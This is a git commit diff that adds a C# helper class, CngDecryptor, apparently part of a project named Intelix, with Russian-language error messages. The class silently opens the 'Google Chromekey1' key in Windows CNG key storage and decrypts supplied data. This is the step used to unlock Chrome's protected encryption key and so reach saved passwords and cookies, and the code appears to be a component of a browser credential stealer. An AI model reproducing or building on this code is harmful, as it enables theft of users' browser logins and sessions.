initial commit
This commit is contained in:
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class CngDecryptor
|
||||
{
|
||||
private const int NCRYPT_SILENT_FLAG = 64;
|
||||
|
||||
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
|
||||
{
|
||||
IntPtr phProvider = IntPtr.Zero;
|
||||
IntPtr phKey = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
|
||||
}
|
||||
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
|
||||
}
|
||||
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
|
||||
}
|
||||
byte[] array = new byte[pcbResult];
|
||||
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
|
||||
}
|
||||
Array.Resize(ref array, pcbResult);
|
||||
return array;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (phKey != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.NCryptFreeObject(phKey);
|
||||
}
|
||||
if (phProvider != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.NCryptFreeObject(phProvider);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user